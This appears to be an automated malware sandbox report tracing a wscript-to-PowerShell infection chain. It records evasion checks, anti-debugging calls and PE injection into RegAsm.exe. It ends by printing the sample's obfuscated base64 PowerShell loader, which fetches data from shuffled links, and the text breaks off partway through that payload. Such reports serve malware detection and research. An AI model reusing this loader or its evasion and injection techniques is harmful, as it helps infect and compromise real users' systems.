Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0040A6C0 Sleep,ExitProcess,

8_2_0040A6C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

8_2_00412E96

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1771	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1521	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3998	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4159	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 5834	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_8-40995

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep count: 3998 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep count: 5579 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7500	Thread sleep time: -12477000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7500	Thread sleep time: -17502000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7808	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004081F9 FindFirstFileA,FindClose,FindNextFileA,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	8_2_004081F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004072E5 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_004072E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00407733 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_00407733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00414795 FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,	8_2_00414795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00440A59 FindFirstFileExA,	8_2_00440A59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00404CF3 FindFirstFileW,FindNextFileW,	8_2_00404CF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00405C8E __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	8_2_00405C8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00407FDE FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	8_2_00407FDE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0040511A SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

8_2_0040511A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.2379283237.000001F504026000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMU Virtual CPU
Source: powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: RegAsm.exe, 00000008.00000002.3511473466.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3507303491.0000011BA9E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3508805857.0000011BAF458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: RegAsm.exe, 00000008.00000002.3511473466.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000006.00000002.2379283237.000001F504D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_004320EC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_004320EC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Yara detected Powershell download and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00438983 mov eax, dword ptr fs:[00000030h]

8_2_00438983

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0040CB6C SetLastError,GetNativeSystemInfo,GetProcessHeap,HeapAlloc,SetLastError,

8_2_0040CB6C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004320EC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_004320EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042C576 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0042C576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042C6C4 SetUnhandledExceptionFilter,	8_2_0042C6C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042C8EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0042C8EC

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi64_1812.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1812, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 464000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46B000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A68008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_004124EF mouse_event,

8_2_004124EF

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#G